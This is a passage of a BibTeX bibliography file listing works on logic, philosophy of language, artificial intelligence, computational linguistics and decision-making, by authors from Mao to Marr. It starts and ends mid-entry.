Algorithm}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {2}, + pages = {347--360}, + acontentnote = {Abstract: + In this paper we present a new bidirectional heuristic search + algorithm. Our algorithm can be viewed as a perimeter search + algorithm, and it uses a new technique for reducing the number + of heuristic evaluations. + We also prove some general results on the behavior of iterative + deepening perimeter search algorithms, and we discuss some new + ``lazy evaluation'' techniques for improving their performance. + The theoretical and experimental results show that perimeter + search algorithms outperform the other bidirectional algorithms, + and we believe it is worthwhile to give them a deep look in + subsequent research. } , + topic = {search;} + } + +@article{ mao:1970a, + author = {J. Mao}, + title = {Survey of Capital Budgeting: Theory and Practice}, + journal = {Journal of Finance}, + year = {1970}, + volume = {25}, + pages = {349--360}, + missinginfo = {A's 1st name, number}, + topic = {management-science;} + } + +@article{ mar-stdenis:1999a, + author = {Gary Mar and Paul St. Denis}, + title = {What the {L}iar Taught {A}chilles}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {1}, + pages = {29--46}, + topic = {paradoxes-of-motion;semantic-paradoxes;paradoxes;} + } + +@incollection{ marakakis-gallagher:1994a, + author = {E. Marakakis and John P. Gallagher}, + title = {Schema-Based Top-Down Design of Logic Programs Using + Abstract Data Types}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {138--153}, + address = {Berlin}, + topic = {logic-program-synthesis;} + } + +@book{ march-simon:1958a, + author = {James G. March and Herbert A. Simon}, + title = {Organizations}, + publisher = {John Wiley and Sons}, + year = {1958}, + address = {New York}, + topic = {management-science;decision-making;} + } + +@book{ march-olsen_jp:1976a, + author = {James G. March and J.P. Olsen}, + title = {Ambiguity and Choice in Organizations}, + publisher = {Universitetsforlaget}, + year = {1976}, + address = {Bergen, Norway}, + missinginfo = {A's 1st name.}, + topic = {management-science;decision-making;} + } + +@article{ march-shapira:1987a, + author = {J.G. March and Z. Shapira}, + title = {Managerial Perspectives on Risk and Risk Taking}, + journal = {Management Science}, + year = {1987}, + volume = {33}, + pages = {1404--1418}, + missinginfo = {A's 1st name, number}, + topic = {risk;management-science;} + } + +@article{ march-shapira:1992a, + author = {J. March and Z. Shapira}, + title = {Variable Preferences and the Focus of Attention}, + journal = {Psychological Review}, + year = {1992}, + volume = {99}, + pages = {172--183}, + missinginfo = {A's 1st name, number}, + topic = {decision-making;preference;} + } + +@book{ marchand_h:1969a, + author = {Hans Marchand}, + title = {The Categories and Types of Present-Day {E}nglish + Word-Formation}, + publisher = {Beck}, + year = {1969}, + address = {M\"unchen}, + edition = {2}, + topic = {derivational-morphology;descriptive-grammar;English-language;} + } + +@book{ marchionini:1995a, + author = {Gary Marchionini}, + title = {Information Seeking In Electronic Environments}, + publisher = {Cambridge University Press}, + year = {1995}, + address = {Cambridge, England}, + ISBN = {0521443725 (hardback)}, + topic = {information-retrieval;} + } + +@book{ marciniak:1994a, + editor = {John J. Marciniak}, + title = {Encyclopedia of Software Engineering}, + publisher = {John Wiley and Sons}, + year = {1994}, + address = {New York}, + ISBN = {0471540048}, + topic = {software-engineering;} + } + +@article{ marciniec:1997a, + author = {Jacek Marciniec}, + title = {Infinite Set Unification With Application to Categorial + Grammar}, + journal = {Studia Logica}, + year = {1997}, + volume = {58}, + number = {3}, + pages = {339--355}, + topic = {categorial-grammar;unification;} + } + +@incollection{ marciniec:1997b, + author = {Jacek Marciniec}, + title = {Connected Sets of Types and + Categorial Consequence}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {292--309}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@book{ marco:1995a, + editor = {Pier Marco}, + title = {Temporal Reference, Aspect and Actionality}, + publisher = {Rosenberg \& Sellier}, + year = {1995}, + address = {Torino}, + ISBN = {8870116379}, + topic = {tense-aspect;} + } + +@article{ marconi:1995a, + author = {Diego Marconi}, + title = {On the Structure of Lexical Competence}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1995}, + volume = {95}, + note = {Supplementary Series.}, + pages = {131--150}, + topic = {lexical-semantics;philosophy-of-language;} + } + +@book{ marconi:1997a, + author = {Diego Marconi}, + title = {Lexical Competence}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {lexical-semantics;philosophy-of-language;} + } + +@inproceedings{ marcu:1997a, + author = {Daniel Marcu}, + title = {Perlocutions: The {A}chilles' Heel of Speech Act Theory}, + booktitle = {Working Notes: {AAAI} Fall Symposium on Communicative + Action in Humans and Machines}, + year = {1997}, + pages = {51--58}, + organization = {{AAAI}}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + editor = {David Traum}, + topic = {speech-acts;persuasive-discourse;pragmatics;} + } + +@inproceedings{ marcu:1997b, + author = {Daniel Marcu}, + title = {The Rhetorical Parsing of Unrestricted Natural Language + Texts}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {96--103}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {discourse-structure;discourse-cue-words;nl-processing;} + } + +@incollection{ marcu:1998a, + author = {Daniel Marcu}, + title = {A Surface-Based Approach to Identifying + Discourse-Markers and Elementary Textual Units}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {1--7}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure; + empirical-methods-in-discourse;} + } + +@incollection{ marcu-etal:1999a, + author = {Daniel Marcu and Estibaliz Amorrortu and Magdalena + Romera}, + title = {Experiments in Constructing a Corpus of + Discourse Trees}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {48--57}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;discourse-structure;} + } + +@article{ marcu:2000a, + author = {Daniel Mar\c{c}u}, + title = {The Rhetorical Parsing of Unrestricted texts: A + Surface-Based Approach}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {3}, + pages = {395--448}, + topic = {discourse-structure;parsing-algorithms;cur-phrases;} + } + +@book{ marcus_d:1998a, + author = {Daniel Marcus}, + title = {Combinbatorics: A Problem Oriented Approach}, + publisher = {The Mathematical Association of America}, + year = {1998}, + address = {Washington, DC}, + ISBN = {0-88385-710-3}, + topic = {combinatorics;} + } + +@book{ marcus_m:1980a, + author = {Mitch Marcus}, + title = {A Theory of Syntactic Recognition for Natural Language}, + publisher = {The {MIT} Press}, + year = {1980}, + address = {Cambridge, Massachusetts}, + topic = {parsing-algorithms;parsing-psychology;} + } + +@article{ marcus_rb:1980a, + author = {Ruth Barcan Marcus}, + title = {Moral Dilemmas and Consistency}, + journal = {The Journal of Philosophy}, + year = {1980}, + volume = {77}, + number = {3}, + pages = {121--136}, + topic = {moral-conflict;deontic-logic;} + } + +@article{ marcus_rb:1981a, + author = {Ruth Barcan Marcus}, + title = {A Proposed Solution to the Puzzle about Belief}, + journal = {Midwest Studies in Philosophy}, + year = {1981}, + volume = {6}, + pages = {505--510}, + topic = {belief;Pierre-puzzle;} + } + +@article{ marcus_rb:1983a, + author = {Ruth Barcan Marcus}, + title = {Rationality and Believing the Impossible}, + journal = {Journal of Philosophy}, + year = {1983}, + volume = {80}, + pages = {321--338}, + missinginfo = {number}, + topic = {hyperintensionality;belief;} + } + +@book{ marcus_rb-etal:1986a, + editor = {Ruth Barcan Marcus and Georg J.W. Dorn and Paul Weingartner}, + title = {Logic, Methodology, and Philosophy Of Science, {VII}: + Proceedings of the Seventh International Congress of Logic, + Methodology, and Philosophy of Science, Salzburg, 1983}, + publisher = {North-Holland}, + year = {1986}, + address = {Amsterdam}, + ISBN = {0444876561}, + topic = {philosophy-of-science;} +} + +@book{ marcus_rb:1993a, + author = {Ruth Barcan Marcus}, + title = {Modalities: Philosophical Essays}, + publisher = {Oxford University Press}, + year = {1993}, + address = {Oxford}, + ISBN = {0195076982}, + topic = {modal-logic;} + } + +@article{ marcus_s1-mcdermott:1989a, + author = {Sandra Marcus and John McDermott}, + title = {{SALT}: A Knowledge Acquisition Language for + Propose-and-Revise Systems}, + journal = {Artificial Intelligence}, + year = {1989}, + volume = {39}, + number = {1}, + pages = {1--37}, + acontentnote = {Abstract: + SALT is a knowledge acquisition tool for generating expert + systems that can use a propose-and-revise problem-solving + strategy. The SALT-assumed method incrementally constructs an + initial design by proposing values for design parameters, + identifying constraints on design parameters as the design + develops and revising decisions in response to detection of + constraint violations in the proposal. This problem-solving + strategy provides the basis for SALT's knowledge representation. + SALT uses its knowledge of the intended problem-solving strategy + in identifying relevant domain knowledge, in detecting + weaknesses in the knowledge base in order to guide its + interrogation of the domain expert, in generating an expert + system that can perform the task and explain its line of + reasoning, and in analyzing test case coverage. The strong + commitment to problem-solving strategy which gives SALT its + power also defines its scope. } , + topic = {knowledge-acquisition;knowledge-base-integrity;} + } + +@article{ marcus_s1:1993a, + author = {Sandra Marcus}, + title = {Review of {\it A Practical Guide to Knowledge Acquisition}, + by A. Carlisle Scott and Jan E. Clayton and + Elizabeth L. Gibson}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {60}, + number = {1}, + pages = {167--170}, + xref = {Review of scott_ac-etal:1991a.}, + topic = {knowledge-acquisition;} + } + +@incollection{ marcus_s2:1997a, + author = {Solomon Marcus}, + title = {Contextual Grammars and Natural Languages}, + booktitle = {Handbook of Formal Languages, Volume 2}, + year = {1997}, + editor = {Grzegorz Rozenberg and Arto Salomaa}, + pages = {215--235}, + missinginfo = {publisher, address}, + topic = {grammar-formalisms;context-grammars;} + } + +@article{ marcus_s2-etal:1998a, + author = {Solomon Marcus and Carlos Martin-Vide and Gheorghe P\v{a}in}, + title = {Contextual Models as Generative Models of Natural + Languages}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {245--274}, + topic = {grammar-formalisms;context-grammars;} + } + +@unpublished{ marek-nerode:1980a, + author = {Wictor Marek and Anil Nerode}, + title = {Decision Procedures for Default Logic}, + year = {1980}, + note = {Unpublished manuscript, Department of Mathematics, + Cornell University.}, + missinginfo = {Date is a guess.}, + topic = {default-logic;decision-procedures;} + } + +@incollection{ marek-truszynski:1989a, + author = {Wictor Marek and Miroslaw Truszczynski}, + title = {Relating Autoepistemic and Default Logics}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {276--288}, + address = {San Mateo, California}, + topic = {kr;kr-course;nonmonotonic-logic;default-logic; + autoepistemic-logic;} + } + +@unpublished{ marek-truszynski:1989b, + author = {Wictor Marek and Miroslaw Truszczynski}, + title = {Stable Semantics for Logic Programs and + Default Theories}, + year = {1989}, + month = {May}, + note = {Unpublished manuscript, University of Kentucky.}, + topic = {kr;kr-course;nonmonotonic-logic;default-logic; + stable-models;} + } + +@unpublished{ marek-truszynski:1990a, + author = {Wictor Marek and Miroslaw Truszczynski}, + title = {Modal Logic for Default Reasoning}, + year = {1990}, + note = {Unpublished manuscript, University of Kentucky.}, + missinginfo = {Date is a guess.}, + topic = {kr;kr-course;nonmonotonic-logic;default-logic; + modal-logic;} + } + +@incollection{ marek-etal:1991a, + author = {Wiktor Marek and Grigori F. Schwartz and Miroslaw + Truszczy\'nski}, + title = {Ranges of Strong Modal Nonmonotonic Logics}, + booktitle = {Nonmonotonic and Inductive Logics}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {J\"urgen Dix and Klaus P. Jantke and P.H. Schmidt}, + pages = {85--99}, + address = {Berlin}, + missinginfo = {E's 1st name.}, + topic = {nonmonotonic-logic;modal-logic;} + } + +@incollection{ marek-etal:1991b, + author = {Wictor Marek and Grigori Shvarts and Miroslaw Truszcy\'nski}, + title = {Modal Nonmonotonic Logics: Ranges, Characterization, + Computation}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {395--404}, + address = {San Mateo, California}, + topic = {kr;kr-course;nonmonotonic-logic;modal-logic;} + } + +@article{ marek-truszcynski:1991a, + author = {Victor Marek and Miros{\l}aw Truszcczy\'nski}, + title = {Autoepistemic Logic}, + journal = {Journal of the Association for Computing Machinery}, + year = {1991}, + volume = {38}, + number = {3}, + pages = {588--619}, + topic = {autoepistemic-logic;nonmonotonic-logic;} + } + +@article{ marek:1993a, + author = {Wictor Marek}, + title = {Review of {\it {F}ormalizing Common Sense: Papers by + {J}ohn {M}c{C}arthy}}, + journal = {{SIGART} Bulletin}, + year = {1993}, + volume = {4}, + pages = {12--13}, + missinginfo = {number}, + topic = {J-McCarthy;} + } + +@article{ marek-etal:1993a, + author = {Wiktor Marek and Grigori F. Shvarts and Miroslaw Truszczynski}, + title = {Modal Nonmonotonic Logics: Ranges, Characterization, Computation}, + journal = {Journal of the {A}ssociation for {C}omputing {M}achinery}, + year = {1993}, + volume = {40}, + number = {4}, + pages = {963--990}, + topic = {nonmonotonic-logic;modal-logic;} + } + +@incollection{ marek-truszcczynski:1994b, + author = {Victor Marek and Miros{\l}aw Truszczy\'nski}, + title = {Revision Specifications by Means of Programs}, + booktitle = {Logics in Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Craig Mac{N}ish and Lu\'is Moniz Pereira and David Pearce}, + pages = {122--136}, + address = {Berlin}, + topic = {belief-revision;} + } + +@book{ marek-truszcynski:1994a, + author = {Wictor Marek and Miros{\l}aw Truszczy\'nski}, + title = {Nonmonotonic Logic: Context-Dependent Reasoning}, + publisher = {Springer-Verlag}, + year = {1994}, + address = {Berlin}, + topic = {kr;nonmonotonic-reasoning;kr-course;} +} + +@book{ marek-etal:1995a, + editor = {Wictor Marek and Anil Nerode and Marek Truszcynski}, + title = {Logic Programming and Nonmonotonic Reasoning}, + publisher = {Springer-Verlag}, + year = {1995}, + address = {Berlin}, + topic = {kr;nonmonotonic-reasoning;kr-course;} +} + +@inproceedings{ marek:1999a, + author = {Victor Marek}, + title = {Default Reasoning System {DeReS} (Abstract)}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {default-logic;stable-models;AI-algorithms;} + } + +@article{ marek-etal:2002a, + author = {Victor Marek and Inna Pivkina and Moroslaw Truszy\'nski}, + title = {Annotated Revision Programs}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {138}, + number = {1--2}, + pages = {149--180}, + topic = {logic-programming;belief-revision;} + } + +@article{ mares-meyer:1993a, + author = {Edwin D. Mares and Robert K. Meyer}, + title = {The Semantics of {R3}}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {1}, + pages = {95--110}, + topic = {relevance-logic;} + } + +@article{ mares-fuhrmann:1996a, + author = {Edwin D. Mares and Andr\'e Fuhrmann}, + title = {A Relevant Theory of Conditionals}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {24}, + number = {6}, + pages = {645--665}, + topic = {conditionals;relevance-logic;} + } + +@article{ mares-mcnamara:1997a, + author = {Edwin D. Mares and Paul McNamara}, + title = {Supererogation in Deontic Logic Metatheory for + {DWE} and Some Close Neighbours}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {3}, + pages = {397--415}, + topic = {deontic-logic;} + } + +@article{ mares:1999a, + author = {Edward D. Mares}, + title = {Review of {\it Meinongian Logic}, by {D}ale {J}acquette}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {2}, + pages = {280--285}, + xref = {Review of: jacquette:1996a.}, + topic = {Meinong;(non)existence;} + } + +@article{ mares:2000a, + author = {Edwin D. Mares}, + title = {{\bf CE} Is Not a Conservative Extension of {\bf E}}, + journal = {Journal of Philosophical Logic}, + year = {2000}, + volume = {29}, + number = {3}, + pages = {263--275}, + topic = {negation;relevance-logic;} + } + +@article{ mares:2001a, + author = {Edwin D. Mares}, + title = {Review of {\it Language, Truth and Logic in Mathematics}, by + {J}aakko {H}intikka}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {3}, + pages = {412--415}, + xref = {Review of: hintikka:1998d.}, + topic = {philosophical-logic;philosophy-of-mathematics;} + } + +@article{ mares:2002a, + author = {Edwin D. Mares}, + title = {Review of {\it Advances in Modal Logic, Volume 1}, edited by + {M}arcus {K}racht and {M}aarten de {R}ijke and {H}einrich + {W}ansing}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {1}, + pages = {95--97}, + xref = {Review of: kracht-etal:1998a.}, + topic = {modal-logic;} + } + +@incollection{ margalit:1976a, + author = {Avishai Margalit}, + title = {Talking with Children, {P}iaget Style}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {457--471}, + address = {Dordrecht}, + topic = {speaker-meaning;pragmatics;} + } + +@article{ margalit:1978a, + author = {Avishai Margalit}, + title = {The `Platitude' Principle of Semantics}, + journal = {Erkenntnis}, + year = {1978}, + volume = {13}, + pages = {377--395}, + missinginfo = {number}, + topic = {compositionality;} + } + +@book{ margalit:1979a, + editor = {Avishai Margalit}, + title = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + address = {Dordrecht}, + contentnote = {TC: + 1. Willard V. Quine, "Use and Its Place in Meaning" + 2. Donald Davidson, "Moods and Performances" + 3. Eddy M. Zemach, "Awareness of Objects" + 4. Asa Kasher, "What Is a Theory of Use?" + 5. Jaakko Hintikka and Lauri Carlson, "Conditionals, Generic + Quantifiers, and Other Applications of Subgames" + 6. Helmut Schnelle, "Circumstance Sentences" + 7. Michael Dummett, "What Does a Theory of Use Do for a + Theory of Meaning?" + 8. Avishai Margalit, "Open Texture" + 9. Marcelo Dascal, "Conversational Relevance" + 10. John R. Searle, "Intentionality and the Use of Language" + 11. Hilary Putman, "Reference and Understanding" + 12. Peter F. Strawson, "May Bes and Might Have Beens" + 13. Saul Kripke, "A Puzzle about Belief" + }, + topic = {philosophy-of-language;pragmatics;} + } + +@incollection{ margalit:1979b, + author = {Avishai Margalit}, + title = {Open Texture}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {141--152}, + address = {Dordrecht}, + topic = {verificationalism;lexical-semantics;} + } + +@article{ margenau:1967a, + author = {Henry Margenau}, + title = {Quantum Mechanics, Free Will, and Determinism}, + journal = {The Journal of Philosophy}, + year = {1967}, + volume = {64}, + number = {21}, + pages = {714--725}, + topic = {quantum-mechanics;freedom;} + } + +@article{ margolis_e-laurence:1998a, + author = {Eric Margolis and Stephen Laurence}, + title = {Multiple Meanings and the Stability of Content}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {5}, + pages = {255--263}, + topic = {foundations-of-semantics;philosophy-of-language;} + } + +@book{ margolis_e-laurence:1999a, + editor = {Eric Margolis and Stephen Laurence}, + title = {Concepts: Core Readings}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-18175-4}, + topic = {philosophy-of-mind;philosophy-of-psychology;concept-grasping;} + } + +@article{ margolis_j:1984a, + author = {Joseph Margolis}, + title = {The Locus of Coherence}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {1}, + pages = {3--30}, + topic = {metaphilosophy;} + } + +@article{ marhenke:1950a1, + author = {Paul Marhenke}, + title = {The Criterion of Significance}, + journal = {Proceedings and Addresses of the {A}merican + {P}hilosophical Association}, + year = {1950}, + volume = {23}, + missinginfo = {number, pages}, + xref = {Republication: marhenke:1950a2.}, + topic = {meaningfulness;philosophy-of-language;} + } + +@incollection{ marhenke:1950a2, + author = {Paul Marhenke}, + title = {The Criterion of Significance}, + booktitle = {Semantics and the Philosophy of Language}, + publisher = {University of Illinois Press}, + year = {1952}, + editor = {Leonard Linsky}, + pages = {139--139}, + address = {Urbana, Illinois}, + xref = {Republication of: marhenke:1950a1.}, + topic = {meaningfulness;philosophy-of-language;} + } + +@incollection{ maritxalar-etal:1998a, + author = {Montse Maritxalar and Arantza D\'iaz de Ilarraza and + Maite Oronez}, + title = {From Psychologic Modeling of Interlanguage in Second + Language Acquisition to a Computational Model}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {50--59}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning; + intelligent-computer-assisted-language-instruction;} + } + +@inproceedings{ mark:1992a, + author = {Bill Mark}, + title = {Ten Years Don't Mean Nothin'\, } , + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {59--60}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;} + } + +@incollection{ mark:1996a, + author = {William S. Mark}, + title = {Ontologies as the Representation (and Re-Representation) + of Agreement}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {654--655}, + address = {San Francisco, California}, + topic = {kr;computational-ontology;kr-course;} + } + +@inproceedings{ markert-hahn_u:1997a, + author = {K. Markert and Udo Hahn}, + title = {On the Interaction of Metonymies and Anaphora}, + booktitle = {Proceedings of the Fifteenth International Joint + Conference on Artificial Intelligence}, + year = {1997}, + editor = {Martha Pollack}, + pages = {1010--1015}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + missinginfo = {A's 1st name}, + topic = {metonymy;anaphora;} + } + +@article{ markert-hahn:2002a, + author = {Katja Markert and Udo Hahn}, + title = {Understanding Metonymies in Discourse}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {135}, + number = {1--2}, + pages = {145--198}, + topic = {metonymy;anaphora;discourse;} + } + +@book{ markley:1996a, + editor = {Robert Markley}, + title = {Virtual Realities and Their Discontents}, + publisher = {Johns Hopkins University Press}, + year = {1996}, + address = {Baltimore}, + contentnote = {TC: + 1. Robert Markley, "Introduction: History, Theory, and + Virtual Reality" + 2. N. Katherine Hayles, "Boundary Disputes: Homeostasis, + Reflexivity, and the Foundations of Cybernetics" + 3. Richard Grusin, "What is an electronic author? Theory and + the technological fallacy" + 4. Robert Markley, "Boundaries: Mathematics, Alienation, and the + Metaphysics of Cyberspace" + 5. David Brande, "The Business of Cyberpunk: Symbolic Economy and + Ideology in {W}illiam {G}ibson" + 6. David Porush, "Hacking the Brainstem: Postmodern + Metaphysics and {S}tephenson's Snow Crash" + 7. Michelle Kendrick, "Cyberspace and the Technological Real" + } , + ISBN = {0801852250 (alk. paper)}, + topic = {virtual-reality;} + } + +@article{ markosian:2001a, + author = {Ned Markosian}, + title = {Review of {\it Semantics, Tense, and Time}, by + {P}eter {L}udlow}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {6}, + pages = {325--329}, + xref = {Review of ludlow:1999a.}, + topic = {nl-semantics;tense-aspect;metaphysics;} + } + +@book{ markova-etal:1996a, + author = {Ivana Markova and Carl Graumann and Klaus Foppa}, + title = {Mutualities in Dialogue}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + topic = {discourse;coord-in-conversation;pragmatics;} + } + +@article{ markovian:2001a, + author = {Ned Markovian}, + title = {Review of {\it Questions of Time and Tense}, edited by + {R}obert {L}e {P}oidevin}, + journal = {No\^us}, + year = {2001}, + volume = {35}, + number = {4}, + pages = {616--629}, + xref = {Review of: lepoidevin:1998a.}, + topic = {tense-logic;philosophy-of-time;} + } + +@incollection{ markowitz-etal:1992a, + author = {Judith A. Markowitz and J. Terry Nutter and Martha W. + Evans}, + title = {Beyond {IS-A} and Part-Whole: More Semantic Networks}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {377--390}, + address = {Oxford}, + topic = {kr;semantic-networks;computational-ontology;kr-course;} + } + +@article{ marks_g-miller_n:1987a, + author = {Gary Marks and Norman Miller}, + title = {Ten Years of Research on the False-Consensus Effect: An + Empirical and Theoretical Review}, + journal = {Psychological Bulletin}, + year = {1987}, + volume = {102}, + pages = {72--90}, + missinginfo = {number}, + topic = {social-psychology;false-consensus;} + } + +@book{ marks_j1:1986a, + editor = {Joel Marks}, + title = {The Ways of Desire: New Essays in Philosophical Psychology on + the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + address = {Chicago}, + ISBN = {0913750441}, + contentnote = {TC: + 1. Joe Marks, "Introduction: On the Need for a Theory + of Desire", pp. 1--15 + 2. Audi, Robert, "Intending Intentional Action, + and Desire", pp. 17--38 + 3. Annette Baier, "The Ambiguous Limits of Desire", pp. 39--63 + 4. Wayne A. Davis, "The Two Senses of Desire", pp. 63--82 + 5. Ronald B. DeSosa, "Desire and Time", pp. 83--100 + 6. Robert M. Gordon, "The Circle of Desire", pp. 101--114 + 7. O.H. Green, "Actions, Emotions, and Desires", pp. 115--131 + 8. Joel Marks, "The Difference between Motivation and + Desire", pp. 133--147 + 9. Dennis W. Stampe, "Defining Desire", pp. 149--173 + 10. Mitchell Staude, "Wanting, Desiring, and Valuing: The + Case against Conativism", pp. 175--195 + 11. Michael Stocker, "Akrasia and the Object of Desire", pp. 197--215 + 12. C.C.W. Taylor, "Emotions and Wants", pp. 217--231 + } , + topic = {desire;philosophical-psychology;} + } + +@incollection{ marks_j1:1986b, + author = {Joel Marks}, + title = {The Difference between Motivation and Desire}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {133--147}, + address = {Chicago}, + topic = {desire;philosophical-psychology;} + } + +@incollection{ marks_j1:1986c, + author = {Joel Marks}, + title = {Introduction: On the Need for a Theory of Desire}, + booktitle = {The Ways of Desire: New Essays in Philosophical Psychology On + the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {1--15}, + address = {Chicago}, + topic = {desire;philosophical-psychology;} + } + +@inproceedings{ marks_j2-reiter:1990a, + author = {Joseph Marks and Ehud Reiter}, + title = {Avoiding Unwanted Conversational Implicatures in Text and + Graphics}, + booktitle = {Proceedings of AAAI90, Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + pages = {450--455}, + topic = {nl-generation;multimedia-generation;implicature;pragmatics;} +} + +@book{ marley:1997a, + editor = {A.A.J. Marley}, + title = {Choice, Decision, and Measurement: Essays in Honor + of R. Duncan Luce}, + publisher = {Lawrence Erlbaum Associates}, + year = {1997}, + address = {Mahwah, New Jersey}, + topic = {decision-making;practical-reasoning;cognitive-psychology;} + } + +@inproceedings{ marquez-padro:1997a, + author = {Llu\'is M\`arquez and Llu\'is Padr\'o}, + title = {A Flexible {POS} Tagger Using an Automatically + Acquired Language Model}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {238--245}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;part-of-speech-tagging;} + } + +@incollection{ marqueze:2000a, + author = {Jorge Rodr\'iguez Marqueze}, + title = {Partial Belief and Borderline Cases}, + booktitle = {Skepticism}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {Ernest Sosa and Enrique Villanueva}, + pages = {289--301}, + address = {Oxford}, + topic = {vagueness;sorites-paradox;} + } + +@article{ marquis:1991a, + author = {Jean-Pierre Marquis}, + title = {Approximations and Truth Spaces}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {4}, + pages = {375--401}, + topic = {approximate-truth;} + } + +@article{ marr:1977a1, + author = {David Marr}, + title = {Artificial Intelligence---A Personal View}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {1}, + pages = {37--48}, + xref = {Republished: marr:1977a2.}, + topic = {foundations-of-AI;AI-editorial;} + } + +@incollection{ marr:1977a2, + author = {David Marr}, + title = {Artificial Intelligence---A Personal View}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {129--142}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: marr:1977a1.}, + topic = {foundations-of-AI;} + } + +@book{ marr:1982a, + author = {David Marr}, + 